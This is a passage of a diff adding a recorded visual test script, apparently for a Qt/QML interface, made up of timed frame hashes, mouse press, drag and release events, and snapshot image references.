+ sendToViewport: true
+ }
+ Frame {
+ msec: 3376
+ hash: "5e34d4deeb6d80b336cacea39797e0ca"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 211; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 217; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3392
+ hash: "b8795d844982bcf60a6713f91717648f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 220; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 224; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3408
+ hash: "857c63b24057ee0186c5136eddb71cb1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 226; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 227; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3424
+ hash: "49222ed0d1ebc8759d0a1dc65c3beec6"
+ }
+ Frame {
+ msec: 3440
+ hash: "49222ed0d1ebc8759d0a1dc65c3beec6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 227; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 226; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3456
+ hash: "751847708a468f4f3e64e7cb5ebd1351"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 225; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 224; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3472
+ hash: "4016f80a5219fcba6480645f71998d71"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 221; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 220; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3488
+ hash: "beef05cd2a3d20bc66978fa4f0ac1d12"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 216; y: 82
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 214; y: 84
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3504
+ hash: "e50a2661e93d34b55c8d2d39abc77e5a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3520
+ hash: "7beccbc2f091350bb5d9de1e2443021d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 200; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 89
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3536
+ hash: "1d39570bf07392f56b6dd24b0bf9e7bc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 188; y: 90
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 180; y: 91
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3552
+ hash: "62565b3e5aad3979b408207bbf36e615"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 176; y: 92
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 167; y: 92
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3568
+ hash: "d9c6004921847fef16bb8c2f5d6b3b7d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 162; y: 92
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 152; y: 92
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3584
+ hash: "53da27301ad97ae52c65928615ec0cd7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 142; y: 92
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 137; y: 90
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3600
+ hash: "9772a776e84515984b4eec70dbd1c5a7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 125; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 119; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3616
+ hash: "9caa6583a716443c13e8fef3f2923d6e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 104; y: 85
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3632
+ hash: "f162a18b2d3f0d5f6f01fc373c016f68"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 98; y: 84
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 96; y: 84
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3648
+ hash: "58976e8e31beddf881c7cfa3ede54c09"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 94; y: 84
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 92; y: 83
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3664
+ hash: "6625f7adb097bc170024083c42d74b4b"
+ }
+ Frame {
+ msec: 3680
+ hash: "6625f7adb097bc170024083c42d74b4b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 92; y: 82
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3696
+ hash: "1d63f09ca27e9d70c3c0ea923a6cfba4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 93; y: 82
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3712
+ hash: "1d63f09ca27e9d70c3c0ea923a6cfba4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 94; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 96; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3728
+ hash: "a23c75fcaa0a28adb944bf192af65bff"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 98; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 100; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3744
+ hash: "2b90fe8937dcc39d1d6add305cf36043"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 107; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3760
+ hash: "7da82cfaf0f826ca9a41128278b6b09c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 118; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3776
+ hash: "a3f69d13d38b336fda33a86899564996"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 129; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 135; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3792
+ hash: "dc562319e1d332ba34ac94bfc0c39c5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 138; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 140; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3808
+ hash: "756482bee292668f56d813847b0ccd53"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 141; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 142; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3824
+ hash: "06d250c4d18a70f8f7b1c10e22a1bc4c"
+ }
+ Frame {
+ msec: 3840
+ hash: "06d250c4d18a70f8f7b1c10e22a1bc4c"
+ }
+ Frame {
+ msec: 3856
+ image: "nested.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "06d250c4d18a70f8f7b1c10e22a1bc4c"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 142; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3888
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 3904
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 3920
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 3936
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 3952
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 3968
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 3984
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4000
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4016
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4032
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4048
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4064
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4080
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4096
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4112
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4128
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4144
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4160
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4176
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4192
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4208
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4224
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4240
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4256
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4272
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4288
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4304
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4320
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4336
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4352
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4368
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4384
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4400
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4416
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4432
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4448
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4464
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4480
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4496
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4512
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4528
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4544
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 16; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4560
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 4576
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 16; y: 47
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 16; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4592
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 16; y: 49
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4608
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 18; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4624
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 20; y: 61
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 20; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4640
+ hash: "ff1f86b47e0d1db5db7d939df8349931"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 22; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 23; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4656
+ hash: "f13393a4556e9e73c33f2bb74d8f7794"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 26; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 28; y: 84
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4672
+ hash: "8c9aa01516437184eb17d89348cca004"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 33; y: 91
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 40; y: 99
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4688
+ hash: "8b6848cb722ff5ec02d957da1ee687e5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 44; y: 102
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 109
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4704
+ hash: "552fde584d128f511788670031d79dd2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 112
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4720
+ hash: "55dc3a4242b46e602f823c0305e67ad2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 118
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 71; y: 120
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4736
+ hash: "603b9b2ed6ff4273c3ab1cbe32afb19e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 73; y: 120
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 73; y: 120
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4752
+ hash: "157eda24ea8452a208aa7a6a22639c73"
+ }
+ Frame {
+ msec: 4768
+ hash: "157eda24ea8452a208aa7a6a22639c73"
+ }
+ Frame {
+ msec: 4784
+ hash: "c5005b83816c18b67448dfbccd0ab0b2"
+ }
+ Frame {
+ msec: 4800
+ hash: "878512df863e5d60437b85fbd2a32eb1"
+ }
+ Frame {
+ msec: 4816
+ image: "nested.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "02ab69b67b746ec0021295992a03ada1"
+ }
+ Frame {
+ msec: 4848
+ hash: "c621382766d7bacab87055a73623a8ce"
+ }
+ Frame {
+ msec: 4864
+ hash: "a8d1be78741d9afd88363bd19f1cbc6b"
+ }
+ Frame {
+ msec: 4880
+ hash: "5a70275ff656766d73638d4dd4db4492"
+ }
+ Frame {
+ msec: 4896
+ hash: "892ea0a00553524b79889d437eac9b6f"
+ }
+ Frame {
+ msec: 4912
+ hash: "d818258bffc065430902ffa8f5668f86"
+ }
+ Frame {
+ msec: 4928
+ hash: "6b844523522ace7545705ffb8ffe1da3"
+ }
+ Frame {
+ msec: 4944
+ hash: "3906097bc49bad199b52c99dbf87f98f"
+ }
+ Frame {
+ msec: 4960
+ hash: "a2bd859b5ca7f4fac8d62b1c9ab76aad"
+ }
+ Frame {
+ msec: 4976
+ hash: "f374673e3511b1df8b50ff7ef6002b3a"
+ }
+ Frame {
+ msec: 4992
+ hash: "c2eecfadd19418f469b1ab53a3ecae70"
+ }
+ Frame {
+ msec: 5008
+ hash: "2b481965ece0f2e1795ef56aa5d6a752"
+ }
+ Frame {
+ msec: 5024
+ hash: "c294f28000348365a2c37265132efdb5"
+ }
+ Frame {
+ msec: 5040
+ hash: "c294f28000348365a2c37265132efdb5"
+ }
+ Frame {
+ msec: 5056
+ hash: "4e9c18eab469b2da0cb92526d3d54501"
+ }
+ Frame {
+ msec: 5072
+ hash: "4e9c18eab469b2da0cb92526d3d54501"
+ }
+ Frame {
+ msec: 5088
+ hash: "4e9c18eab469b2da0cb92526d3d54501"
+ }
+ Frame {
+ msec: 5104
+ hash: "4e9c18eab469b2da0cb92526d3d54501"
+ }
+ Frame {
+ msec: 5120
+ hash: "3836449b99d88e2dea9a0eb9417faca5"
+ }
+ Frame {
+ msec: 5136
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5152
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5168
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5184
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5200
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5216
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5232
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5248
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5264
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5280
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5296
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5312
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5328
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5344
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5360
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5376
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5392
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5408
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5424
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5440
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5456
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5472
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5488
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5504
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5520
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5536
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5552
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5568
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5584
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5600
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5616
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Frame {
+ msec: 5632
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 20; y: 238
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 21; y: 238
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5648
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 22; y: 239
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 23; y: 239
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5664
+ hash: "42dc501eb5a34843ef0a8977ff029054"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 27; y: 240
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 29; y: 240
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5680
+ hash: "b56d132ac881e27d308009fb9a9d2d50"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 33; y: 241
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 36; y: 241
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5696
+ hash: "6c65fca03ea127d554f15c80da76f21f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 42; y: 242
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: 243
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5712
+ hash: "e5d8939135d0e964609a09a437af58bc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 243
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 243
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5728
+ hash: "ab60a45ac475ef8d1177d831a6572d1f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 243
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 75; y: 243
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5744
+ hash: "78b2e0c7dd8b8bcbd573dac79ff815e4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 79; y: 243
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 89; y: 243
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5760
+ hash: "ef9e89650d8e3d572285e2a2e2b09166"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 243
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 243
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5776
+ image: "nested.6.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 118; y: 243
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 126; y: 243
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5792
+ hash: "b83136fa3769e30ea47097b489e8f1dc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 137; y: 241
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 143; y: 240
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5808
+ hash: "fb892905b790a061ce5985c927db3cf5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 154; y: 238
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 159; y: 237
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5824
+ hash: "bc4358e21d2d31942e776adfd32ef1c6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 170; y: 235
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 184; y: 234
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5840
+ hash: "b42380a7fcf5e2fbfe4dddbe86ad7287"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 191; y: 232
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 201; y: 231
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5856
+ hash: "4b3c12beb43a77ebaf458804b03c7b52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 231
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 208; y: 230
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5872
+ hash: "a18be4d4ab28c0fd0c16696c4ecc03ef"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 230
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 229
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5888
+ hash: "c5f100bc4b14e958c7d9bbff84e0a934"
+ }
+ Frame {
+ msec: 5904
+ hash: "c5f100bc4b14e958c7d9bbff84e0a934"
+ }
+ Frame {
+ msec: 5920
+ hash: "c5f100bc4b14e958c7d9bbff84e0a934"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 208; y: 229
